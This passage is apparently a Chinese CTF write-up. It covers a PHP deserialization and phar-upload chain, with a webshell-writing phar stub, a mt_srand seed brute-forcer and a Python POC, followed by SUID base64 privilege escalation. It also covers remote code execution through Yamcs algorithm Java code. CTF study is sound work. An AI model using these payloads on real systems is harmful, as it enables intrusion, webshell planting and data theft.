1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class test { public $readflag ; public $f ; public $key ; } $a = new test ();$a -> f = 'test' ;$a -> key = 'class' ;$b = new test ();$b -> f = array ("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1 " , 'readflag' );$b -> key = 'func' ;echo urlencode (serialize ($a ));echo "\n\n" ;echo urlencode (serialize ($b ));
接下来就是上传文件的问题了
参考苟哥的文章:https://fushuling.com/index.php/2025/07/30/%E5%BD%93include%E9%82%82%E9%80%85phar-deadsecctf2025-baby-web/
利用phar文件去进行文件包含,但是需要绕过验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $phar = new Phar ('exploit.phar' );$phar ->startBuffering ();$stub = <<<'STUB' <?php system('echo "<?php system(\$_GET[1]); ?>" > 1.php'); __HALT_COMPILER(); ?> STUB ;$phar ->setStub ($stub );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?>
用gzip去压缩绕过waf检测,这个刚好前几天做的0xgame2025中的题中有绕过姿势
然后我们需要知道怎么把这个phar文件搞进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function __construct ( ) { if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] == 0 ) { $time = date ('Hi' ); $filename = $GLOBALS ['filename' ]; $seed = $time . intval ($filename ); mt_srand ($seed ); $uploadDir = 'uploads/' ; $files = glob ($uploadDir . '*' ); foreach ($files as $file ) { if (is_file ($file )) unlink ($file ); } $randomStr = generateRandomString (8 ); $newFilename = $time . '.' . $randomStr . '.' . 'jpg' ; $GLOBALS ['file' ] = $newFilename ; $uploadedFile = $_FILES ['file' ]['tmp_name' ]; $uploadPath = $uploadDir . $newFilename ; if (system ("cp " . $uploadedFile . " " . $uploadPath )) { echo "success upload!" ; } else { echo "error" ; } } }
这里filename可控,并且这个种子是可以爆破的,那么就可以试着让$randomStr生成的文件名是以phar开头,写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php function generateRandomString ($length = 8 ) { $characters = 'abcdefghijklmnopqrstuvwxyz' ; $randomString = '' ; for ($i = 0 ; $i < $length ; $i ++) { $r = rand (0 , strlen ($characters ) - 1 ); $randomString .= $characters [$r ]; } return $randomString ; } date_default_timezone_set ('Asia/Shanghai' );$time = date ('Hi' );echo "当前时间time为:" .$time ."\n" ;$found = false ;$max = 10000000 ;for ($i = 0 ; $i < $max ; $i ++) { $seed = $time . $i ; mt_srand ((int )$seed ); srand ((int )$seed ); $randomStr = generateRandomString (8 ); if (substr ($randomStr ,0 ,4 ) === 'phar' ){ $found = true ; echo "找到合适的字符串!\n" ; echo "生成的字符串为:" . $randomStr . "\n" ; echo "种子seed为:" . $seed . "\n" ; break ; } }
输出结果
1 2 3 4 当前时间time为:1530 找到合适的字符串! 生成的字符串为:pharzxif 种子seed为:1530786234
所以我们设置readflag为786234的话就可以将文件名设置为phar后缀的
最后别忘了需要绕过wakeup
整合一下可以得到poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requeststarget = "http://localhost:8000" poc1 = 'O:4:"test":3:{s:8:"readflag";s:5:"786234";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}' poc2 = 'O:4:"test":3:{s:8:"readflag";s:5:"786234";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}' exp = 'a:2:{i:0;' + poc1 + 'i:1;' + poc2 + '}' data = { 'land' : exp } file = { 'file' : ('1.png' ,open ('1.gz' ,'rb' ).read()) } r = requests.post(target, params=data,files=file) print (r.text)
写shell上去后还需要提权
看一下SUID位文件
1 find / -user root -perm -4000 -print 2>/dev/null
找到一个base64,直接用base64读文件就行
1 base64 "/flag" | base64 --decode
至于为什么只需要文件名中包含phar就能反序列化可以看这个wp
https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-12
yamcs 附件给了一个dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 FROM maven:3.9 .9 -eclipse-temurin-17 WORKDIR /build RUN apt-get update && apt-get install -y git && \ git clone https://github.com/yamcs/quickstart.git WORKDIR /build/quickstart RUN chmod +x mvnw RUN ./mvnw compile RUN apt-get update && \ apt-get install -y python3 python3-pip && \ apt-get clean RUN ./mvnw dependency:go-offline RUN echo FLAG>/flag EXPOSE 8090 CMD bash -c '\ nohup python3 simulator.py >/dev/null 2>&1 & \ ./mvnw yamcs:run'
打开题目扫目录找到一个api接口
1 2 3 4 5 6 7 8 9 10 11 12 { "yamcsVersion": "5.12.0", "serverId": "engine-1", "defaultYamcsInstance": "myproject", "plugins": [{ "name": "yamcs-web", "description": "Web UI for managing and monitoring Yamcs", "version": "5.12.0", "vendor": "Space Applications Services" }], "revision": "b6a0f04a4eb3a7af870d4d25422c33ffa870d3fb" }
访问/auth接口
1 2 3 { "requireAuthentication": false }
这是一个认证登录的配置
在环境中百无聊赖的逛了半天,在algorithms下找到一个可以运行代码的口子,并且还没什么过滤
在 Yamcs 中,**algorithms是一种用于进行 实时处理、计算或派生新参数**的接口
直接传就行
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 try { String cmd = "whoami" ; Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream inputStream = process.getInputStream(); java.util.Scanner s = new java .util.Scanner(inputStream).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; out0.setStringValue(output); s.close(); process.destroy(); } catch (Exception e) { e.printStackTrace(); out0.setStringValue("获取内容失败" ); }